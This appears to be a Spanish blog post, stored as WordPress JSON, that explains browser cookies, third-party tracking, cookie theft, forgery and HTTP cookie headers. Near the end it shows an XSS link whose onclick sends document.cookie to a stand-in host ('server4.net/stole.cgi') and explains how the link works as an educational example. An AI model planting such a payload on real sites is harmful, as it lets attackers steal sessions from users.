{"id":386,"date":"2026-03-06T23:32:14","date_gmt":"2026-03-06T23:32:14","guid":{"rendered":"https:\/\/hackcuba.net\/?p=386"},"modified":"2026-03-06T23:32:14","modified_gmt":"2026-03-06T23:32:14","slug":"seguridad-en-la-navegacion","status":"publish","type":"post","link":"https:\/\/hackcuba.net\/?p=386","title":{"rendered":"Seguridad en la navegaci\u00f3n"},"content":{"rendered":"\n<p>\u00bfA qui\u00e9n no le ha pasado que un sitio le pide que elimine los <em>cookies<\/em> o en el navegador ve esa palabra? Pues bien, despu\u00e9s de cansarme de no entender qu\u00e9 era eso, me di a la tarea de leer un poco, y despu\u00e9s de tomar mis notas cre\u00ed que podr\u00eda ayudar a otros de la comunidad <strong>BlackHat<\/strong>. Una <em>cookie<\/em> es un fragmento de informaci\u00f3n que se almacena en el disco duro de todo aquel que visite una p\u00e1gina web a trav\u00e9s de su navegador, a petici\u00f3n del servidor de la p\u00e1gina (esa informaci\u00f3n puede ser luego recuperada por el servidor en posteriores visitas).<\/p>\n\n\n\n<!--more-->\n\n\n\n<p>Un poco de historia siempre viene bien, as\u00ed que les dir\u00e9 que fueron creadas por Lou Montulli, un antiguo empleado de Netscape Communications, y el t\u00e9rmino <em>cookie<\/em> deriva de \u00ab<em>cookie<\/em> m\u00e1gica\u00bb. Se empezaron a usar a partir de junio de 1994 como <em>cookies m\u00e1gicas<\/em> cuando su creador dio uso de ellas en las comunicaciones web. En un inicio eran aceptadas por los navegadores por defecto y muchos usuarios desconoc\u00edan de la existencia de las mismas y no eran notificados por el navegador.<\/p>\n\n\n\n<p>Pero a\u00fan no sabemos qu\u00e9 hacen en los navegadores, ni tampoco acerca de sus funcionalidades. Pues bien, los usos m\u00e1s frecuentes de las <em>cookies<\/em> son llevar el control de usuarios. Seguramente muchos de nosotros, despu\u00e9s de registrarse en un servidor, no nos hemos puesto a pensar c\u00f3mo nos reconoce cuando viajamos dentro las p\u00e1ginas del mismo; pues bien, eso es gracias a que se almacena una <em>cookie<\/em>. Sin embargo, una <em>cookie<\/em> no identifica a una persona, sino a una combinaci\u00f3n de ordenador y navegador. Otro uso es saber (conseguir) los h\u00e1bitos de navegaci\u00f3n del usuario e intentos de <em>spyware<\/em>, por parte de agencias de publicidad y otros. Este \u00faltimo aspecto es el que lleva a las <em>cookies<\/em> a un plano negativo, causando posibles problemas de seguridad.<\/p>\n\n\n\n<p>Las <em>cookies<\/em> permiten identificarnos en un sitio web. Los usuarios normalmente se identifican introduciendo sus datos en una p\u00e1gina de validaci\u00f3n, pero las <em>cookies<\/em> permiten al servidor saber que el usuario ya est\u00e1 validado, y por lo tanto se le puede permitir acceder a servicios o realizar operaciones que est\u00e1n restringidas a usuarios identificados. Tal es el ejemplo de Wikipedia (la enciclopedia libre); sus p\u00e1ginas permiten a los usuarios logueados (identificados) elegir un estilo de presentaci\u00f3n a su gusto, entre otras cosas.<\/p>\n\n\n\n<p>La imagen muestra una posible interacci\u00f3n entre un navegador web y un servidor, en la que el servidor env\u00eda una <em>cookie<\/em> al navegador y el navegador la devuelve cuando solicita otra p\u00e1gina.<\/p>\n\n\n\n<p>Como dec\u00edamos anteriormente, las <em>cookies<\/em> son trozos de datos arbitrarios definidos por el servidor web y enviados al navegador, quien posteriormente los devuelve sin modificar al servidor. Las <em>cookies<\/em> tambi\u00e9n pueden ser definidas por un <em>script<\/em> en un lenguaje como JavaScript -si \u00e9ste est\u00e1 soportado y habilitado en el navegador web. Ahora bien, supongamos que estamos comprando un ordenador en la Web (ser\u00eda fant\u00e1stico hacerlo desde nuestro pa\u00eds), y en cada p\u00e1gina vamos adquiriendo las piezas que queremos: una p\u00e1gina de tarjetas de video, una de memorias RAM, etc., hasta tenerla lista. En ese caso, si el programador del sitio quisiera, podr\u00eda crear una <em>cookie<\/em> que nos permitiera saber todo lo que hemos adquirido; incluso si cerr\u00e1semos el navegador sin realizar la compra y nos conectamos m\u00e1s tarde, el servidor tendr\u00eda conocimientos de nuestra \u00faltima selecci\u00f3n para evitarnos buscar los componentes de nuevo. Esa <em>cookie<\/em> ser\u00eda creada con fecha de borrado seg\u00fan el deseo del dise\u00f1ador del sitio web, en cuyo caso la <em>cookie<\/em> ser\u00e1 eliminada en dicha fecha. De lo contrario, si no se define una fecha de borrado, la <em>cookie<\/em> es borrada cuando el usuario cierra su navegador. Por lo tanto, definir una fecha de borrado es una manera de hacer que la <em>cookie<\/em> sobreviva entre sesiones. Las <em>cookies<\/em> con fecha de borrado se llaman persistentes.<\/p>\n\n\n\n<p>No conozco ning\u00fan navegador actual que no soporte las <em>cookies<\/em> (esto no significa que no haya). Sin embargo, los usuarios pueden elegir si las <em>cookies<\/em> deber\u00edan ser utilizadas o no. Las opciones m\u00e1s comunes que nos ofrecen los navegadores son:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Las <em>cookies<\/em> no se aceptan nunca.<\/li>\n\n\n\n<li>El navegador pregunta al usuario si debe aceptar cada <em>cookie<\/em>.<\/li>\n\n\n\n<li>Las <em>cookies<\/em> se aceptan siempre.<\/li>\n<\/ul>\n\n\n\n<p>En fin, nosotros como usuarios podemos aceptar alguna de las siguientes opciones:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Rechazar las <em>cookies<\/em> de determinados dominios.<\/li>\n\n\n\n<li>Rechazar las <em>cookies<\/em> de terceros (ver m\u00e1s abajo).<\/li>\n\n\n\n<li>Aceptar <em>cookies<\/em> como \u00abno persistentes\u00bb (se eliminan cuando el navegador se cierra).<\/li>\n\n\n\n<li>Permitir al servidor crear <em>cookies<\/em> para un dominio diferente.<\/li>\n<\/ul>\n\n\n\n<p>Adem\u00e1s, los navegadores pueden tambi\u00e9n permitir a los usuarios ver y borrar <em>cookies<\/em> individualmente.<\/p>\n\n\n\n<p>Un peque\u00f1o artilugio que pocos conocen es ver las <em>cookies<\/em> que est\u00e1n activas en una determinada p\u00e1gina. Para la mayor\u00eda de los navegadores que soportan JavaScript, s\u00f3lo tienen que escribir en el campo de direcci\u00f3n: <kbd>javascript:alert(\"Cookies: \"+document.cookie)<\/kbd>.<\/p>\n\n\n\n<p>Desde su aparici\u00f3n en Internet, no han cesado de circular ideas equivocadas acerca de las <em>cookies<\/em>. En el a\u00f1o 2005, Jupiter Research public\u00f3 los resultados de un estudio seg\u00fan el cual un importante porcentaje de entrevistados cre\u00edan cierta alguna de las siguientes afirmaciones:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Las <em>cookies<\/em> son similares a gusanos y virus en el hecho de que pueden borrar datos de los discos duros de los usuarios.<\/li>\n\n\n\n<li>Las <em>cookies<\/em> son un tipo de <em>spyware<\/em>, porque pueden leer informaci\u00f3n personal almacenada en el ordenador de los usuarios.<\/li>\n\n\n\n<li>Las <em>cookies<\/em> generan <em>pop<\/em>&#8211;<em>ups<\/em>.<\/li>\n\n\n\n<li>Las <em>cookies<\/em> se utilizan para generar <em>spam<\/em>.<\/li>\n\n\n\n<li>Las <em>cookies<\/em> s\u00f3lo se utilizan con fines publicitarios.<\/li>\n<\/ul>\n\n\n\n<p>Ahora, bas\u00e1ndonos en la opini\u00f3n de estas personas y conociendo un poco en qu\u00e9 consisten las <em>cookies<\/em>, vamos a hacer una peque\u00f1a reflexi\u00f3n:<\/p>\n\n\n\n<p>Las <em>cookies<\/em> son s\u00f3lo datos -no c\u00f3digos-, por tanto no pueden borrar ni leer informaci\u00f3n del ordenador de los usuarios. Eso s\u00ed, las cookies permiten detectar las p\u00e1ginas visitadas por un usuario en un sitio determinado o en un conjunto de sitios y esta informaci\u00f3n puede ser recopilada en un perfil de usuario. Normalmente estos perfiles son an\u00f3nimos (no contienen informaci\u00f3n personal del usuario -nombre, direcci\u00f3n, etc.-), y eso es porque no hay manera de obtenerla, a menos que el mismo usuario la haya escrito en alguno de los sitios visitados. Seg\u00fan el mismo informe, un gran porcentaje de los usuarios de Internet no sabe c\u00f3mo borrar las cookies.<\/p>\n\n\n\n<p><a href=\"file:\/\/\/home\/h0ax\/Hacking%20&amp;%20Programacion\/Rebista%20BlackHat\/BlackHat%2020\/_imgs\/0x660018.png\" target=\"_blank\" rel=\"noreferrer noopener\"><\/a><\/p>\n\n\n\n<p><em>Cookies<\/em> de terceros<\/p>\n\n\n\n<p>Continuemos refiri\u00e9ndonos un poco a la privacidad y aprendamos qu\u00e9 son las <em>cookies<\/em> de terceros. Una p\u00e1gina web puede contener im\u00e1genes y otros componentes almacenados en servidores de otros dominios, las <em>cookies<\/em> que se crean durante las peticiones de estos componentes se llaman <em>cookies<\/em> de terceros.<\/p>\n\n\n\n<p>Bien, bas\u00e9monos en este ejemplo ficticio y supongamos que los cuadros de la imagen de la derecha son dos p\u00e1ginas web, una en Wikipedia y otra de Yahoo!. Adem\u00e1s, una compa\u00f1\u00eda que est\u00e1 publicando anuncios ha puesto <em>banners<\/em> (propagandas) en dos sitios web -que no muestran ning\u00fan banner real-. Subiendo la imagen del banner en sus servidores y usando <em>cookies<\/em> de terceros, la compa\u00f1\u00eda que publica es capaz de seguir la b\u00fasqueda de usuarios a trav\u00e9s de estos dos sitios. Las compa\u00f1\u00edas publicitarias utilizan <em>cookies<\/em> de terceros para realizar un seguimiento de los usuarios a trav\u00e9s de m\u00faltiples sitios donde han colocado sus im\u00e1genes publicitarias o <em>web bugs<\/em>, y as\u00ed dirigir su publicidad seg\u00fan las supuestas preferencias del usuario. Es importante conocer que las cookies no siempre identifican correctamente a los usuarios, y se pueden utilizar en ocasiones para efectuar ataques de seguridad.<\/p>\n\n\n\n<p>Com\u00fanmente nosotros tenemos en la casa, centro de trabajo o estudio m\u00e1s de un navegador; pueden ser IE y Firefox, IE y Opera, y muchas m\u00e1s combinaciones. Esto trae consigo otro problema relacionado con las <em>cookies<\/em>, y es que cada navegador tiene su propio almacenamiento de <em>cookies<\/em>. Entonces caemos en algo referido anteriormente, s\u00f3lo que ahora lo ampliaremos un poco m\u00e1s: \u00ablas <em>cookies<\/em> no identifican a una persona, sino a una combinaci\u00f3n de cuenta de usuario, ordenador y navegador\u00bb. De esta manera, cualquiera que utilice varias cuentas, varios ordenadores o varios navegadores, tiene tambi\u00e9n m\u00faltiples conjuntos de <em>cookies<\/em>. Estas no diferencian varias personas que utilicen el mismo ordenador o navegador si ellos utilizan la misma cuentas de usuario.<\/p>\n\n\n\n<p>En el Opera 9, las <em>cookies<\/em> son guardadas en: <em>%ProgramFiles%\\Opera\\Profile\\cookies4.dat<\/em><br>En Internet Explorer: <em>%UserProfile%\\Cookies<\/em><\/p>\n\n\n\n<p>Y as\u00ed cada navegador en una carpeta diferente.<\/p>\n\n\n\n<p>He aqu\u00ed otro problema al que nos enfrentamos cuando navegamos en la red de redes: el robo de <em>cookies<\/em>, que no es m\u00e1s que el proceso que permite a una parte no autorizada a recibir una <em>cookie<\/em>, y la encriptaci\u00f3n no sirve contra este tipo de ataque. Cuando las <em>cookies<\/em> son enviadas sobre sesiones HTTP normales, son visibles a todos los usuarios que pueden escuchar en la red utilizando un <em>sniffer<\/em> de paquetes. Este problema se puede resolver mediante el uso de HTTPS, que invoca seguridad de la capa de transporte para cifrar la conexi\u00f3n. El <em>scripting<\/em> entre sitios permite que el valor de las <em>cookies<\/em> se env\u00ede a servidores que normalmente no recibir\u00edan esa informaci\u00f3n.<\/p>\n\n\n\n<p>Los navegadores modernos permiten la ejecuci\u00f3n de segmentos de c\u00f3digo recibidos del servidor. Si las <em>cookies<\/em> est\u00e1n accesibles durante la ejecuci\u00f3n, su valor puede ser comunicado de alguna manera a servidores que no deber\u00edan acceder a ellas. Esta posibilidad es explotada normalmente por atacantes de sitios que permiten a los usuarios el env\u00edo de contenido HTML. Introduciendo un segmento de c\u00f3digo adecuado en un env\u00edo HTML, un atacante puede recibir las <em>cookies<\/em> de otros usuarios. El conocimiento de estas <em>cookies<\/em> puede despu\u00e9s ser explotado mediante la conexi\u00f3n a los sitios en los que se utilizan las <em>cookies<\/em> robadas, siendo as\u00ed identificado como el usuario a quien se le robaron las <em>cookies<\/em>. Un ejemplo de esto lo veremos al final.<\/p>\n\n\n\n<p>Ahora veamos al problema de la falsificaci\u00f3n de <em>cookies<\/em> utilizando el ejemplo que he empleado de la compra de un ordenador. En teor\u00eda, como hemos dicho, las <em>cookies<\/em> deben ser almacenadas y enviadas de vuelta al servidor sin modificar, \u00bfpero qu\u00e9 pasar\u00eda si al tener la <em>cookie<\/em> almacenada del sitio al que acced\u00ed vari\u00f3 el precio total y en vez de pagar el precio real del ordenador, pago solo una \u00ednfima parte? A este proceso de modificar el valor de las <em>cookies<\/em> se denomina falsificaci\u00f3n de <em>cookies<\/em> y a menudo se realiza tras un robo de <em>cookies<\/em> para hacer un ataque persistente.<\/p>\n\n\n\n<p>Pero por seguridad, la mayor\u00eda de los sitios web s\u00f3lo almacenan en la <em>cookie<\/em> un identificador de sesi\u00f3n (un n\u00famero \u00fanico utilizado para identificar la sesi\u00f3n del usuario) y el resto de la informaci\u00f3n se almacena en el propio servidor. En este caso, el problema de la falsificaci\u00f3n de <em>cookies<\/em> queda pr\u00e1cticamente eliminado.<\/p>\n\n\n\n<p>Las <em>cookies<\/em> entre sitios (<em>cross-site cooking<\/em>) funciona similar a la falsificaci\u00f3n de <em>cookies<\/em>, pero el atacante se aprovecha de usuarios no malintencionados con navegadores vulnerables, en vez de atacar el sitio web directamente. El objetivo de estos ataques puede ser realizar una fijaci\u00f3n de sesi\u00f3n (robo de sesi\u00f3n en un sitio web). Por eso cada sitio debe tener sus propias cookies, de forma que un sitio <em>blackhat.net<\/em> no tenga posibilidad de modificar o definir <em>cookies<\/em> de otro sitio como <em>bluehat.net<\/em>. Las vulnerabilidades de <em>cross-site cooking<\/em> de los navegadores permiten a sitios maliciosos romper esta regla.<\/p>\n\n\n\n<p>Ahora pasemos a ver la implementaci\u00f3n de una <em>cookie<\/em>. A pesar de las cookies, los exploradores piden una p\u00e1gina a los servidores envi\u00e1ndoles un texto corto llamado \u00absolicitud de HTTP\u00bb (<em>HTTP request<\/em>). Una petici\u00f3n lucir\u00eda as\u00ed:<\/p>\n\n\n\n<p>navegador \u2192<br><code>GET http:\/\/www.w3.org\/index.html HTTP\/1.1<br>Accept: *\/*<\/code><br>\u2192 servidor<\/p>\n\n\n\n<p>El servidor responde al enviar la p\u00e1gina pedida precedida por un texto similar, llamado \u00abencabezado HTTP\u00bb (<em>HTTP header<\/em>). Este paquete puede contener l\u00edneas haci\u00e9ndole al explorador una petici\u00f3n para que guarde cookies:<\/p>\n\n\n\n<p>servidor \u2192<br><code>HTTP\/1.1 200 OK<br>Content-type: text\/html<br>Set-Cookie: name=value<br>&lt;<em>content of page<\/em>&gt;<\/code><br>\u2192 navegador<\/p>\n\n\n\n<p>La l\u00ednea <code>Set-Cookie<\/code> es s\u00f3lo enviada si el servidor desea que el explorador guarde las <em>cookies<\/em>. De hecho, es una petici\u00f3n al explorador el guardar la secuencia de caracteres <code>name=value<\/code> (nombre=valor) y enviarla de vuelta en cualquier otro futuro pedido del servidor. Si el explorador soporta <em>cookies<\/em> y las <em>cookies<\/em> est\u00e1n admitidas, toda petici\u00f3n de cada p\u00e1gina subsecuente al mismo servidor va a contener la misma <em>cookie<\/em>.<br>Por ejemplo, el explorador pide la p\u00e1gina <em>http:\/\/www.w3.org\/spec.html<\/em> enviando al servidor <em>www.w3.org<\/em> un pedido que se asemeja al siguiente:<\/p>\n\n\n\n<p>navegador \u2192<br><code>GET \/spec.html HTTP\/1.1<br>Cookie: name=value<br>Accept: *\/*<\/code><br>\u2192 servidor<\/p>\n\n\n\n<p>Este es un pedido para otra p\u00e1gina del mismo servidor; se diferencia del primero porque contiene la secuencia que el servidor hab\u00eda previamente enviado al explorador. Por ende, el servidor sabe que este pedido est\u00e1 relacionado con el previo. El servidor responde al enviar la p\u00e1gina pedida, posiblemente a\u00f1adiendo otras <em>cookies<\/em> tambi\u00e9n.<\/p>\n\n\n\n<p>El valor de la <em>cookie<\/em> puede ser modificada por el servidor al enviar una nueva l\u00ednea <code>Set-Cookie: name=new_value<\/code> en respuesta al pedido de la p\u00e1gina. El explorador entonces reemplaza el viejo valor con el nuevo.<\/p>\n\n\n\n<p>Las <em>cookies<\/em> tambi\u00e9n pueden ser \u00abseteadas\u00bb (como lo decimos a diario; se deriva de <em>set<\/em>) por JavaScript o <em>scripts<\/em> similares en el explorador. En JavaScript, el objeto <code>document.cookie<\/code> es usado para este prop\u00f3sito. Por ejemplo, la instrucci\u00f3n <code>document.cookie = \"temperatura=20\"<\/code> crea una <em>cookie<\/em> de nombre <em>temperatura<\/em> y valor <em>20<\/em>.<\/p>\n\n\n\n<p>Para finalizar veamos un peque\u00f1o ejemplo de c\u00f3mo alguien pueden proceder para recoger nuestras <em>cookies<\/em>. Primero debo aclarar que este ejemplo no se ha escrito con la idea de ponerlo en pr\u00e1ctica, sino para ampliar el conocimiento y evitar que seamos timados. Si alg\u00fan lector lo utiliza para algo m\u00e1s, que sepan que esa no era la idea del art\u00edculo.<\/p>\n\n\n\n<p>En particular, algunos <em>scripting languages<\/em> (lenguaje <em>script<\/em>) tales como JavaScript y JScript usualmente permiten acceder a los valores de las <em>cookies<\/em> y tienen diversas maneras de enviar valores arbitrarios a servidores arbitrarios en Internet. Este hecho es usado en combinaci\u00f3n con sitios que permiten a los usuarios postear contenido HTML que otros usuarios pueden ver. Por ejemplo, un atacante en el dominio <em>server3.net<\/em> puede postear un comentario que contenga el siguiente <em>link<\/em> a un popular <em>blog<\/em> sobre el cual ellos no tengan control:<\/p>\n\n\n\n<p><code>&lt;a href=\"#\" onclick=\"window.location='http:\/\/server4.net\/stole.cgi?text='+escape(document.cookie); return false;\"&gt;Haz clic aqu\u00ed!&lt;\/a&gt;<\/code><\/p>\n\n\n\n<p>Cuando otro usuario clickee sobre este v\u00ednculo, el navegador ejecuta la parte del c\u00f3digo dentro del atributo <code>onclick<\/code>. De esta manera reemplaza la cadena de caracteres <code>document.cookie<\/code> con la lista de las <em>cookies<\/em> que est\u00e1n activas en la p\u00e1gina. Como resultado, esta lista de <em>cookies<\/em> es enviada al servidor <em>server4.net<\/em>, y el atacante est\u00e1 libre de recoger los <em>cookies<\/em> de otros usuarios.<\/p>\n\n\n\n<p>Este tipo de ataque es dif\u00edcil de detectar por parte de los usuarios, debido a que los <em>scripts<\/em> vienen desde el mismo dominio donde han sido seteadas las <em>cookies<\/em>, y la operaci\u00f3n de enviar el valor aparece como autorizada por este dominio. Esto usualmente es considerado como una responsabilidad de los administradores.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Para saber m\u00e1s&#8230;<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"http:\/\/cmuza.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">General cookies<\/a><\/li>\n\n\n\n<li><a href=\"http:\/\/www.yourhtmlsource.com\/javascript\/cookies.html\" target=\"_blank\" rel=\"noreferrer noopener\">Cookies in JavaScript<\/a><\/li>\n\n\n\n<li><a href=\"http:\/\/www.iec.csic.es\/criptonomicon\/cookies\/cookies.html\" target=\"_blank\" rel=\"noreferrer noopener\">Todo sobre las cookies<\/a><\/li>\n\n\n\n<li><a href=\"http:\/\/ahorapuedepegaralequipo.blogspot.com\/2006\/02\/la-invasin-de-las-cookies-asesinas.html\" target=\"_blank\" rel=\"noreferrer noopener\">La invasi\u00f3n de las cookies asesinas: una introducci\u00f3n a las cookies y sus riesgos (<em>blog<\/em>)<\/a><\/li>\n<\/ul>\n\n\n\n<p>Escrito por charlie_mtp [<a href=\"mailto:neyquesada@infomed.sld.cu\">neyquesada@infomed.sld.cu<\/a>]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00bfA qui\u00e9n no le ha pasado que un sitio le pide que elimine los cookies o en el<\/p>\n","protected":false},"author":2,"featured_media":387,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36],"tags":[131,69,38,41],"class_list":["post-386","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-proyecto-blackhat","tag-cookies","tag-internet","tag-proyecto-blackhat","tag-tips"],"_links":{"self":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/386","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=386"}],"version-history":[{"count":1,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions"}],"predecessor-version":[{"id":388,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/posts\/386\/revisions\/388"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=\/wp\/v2\/media\/387"}],"wp:attachment":[{"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackcuba.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}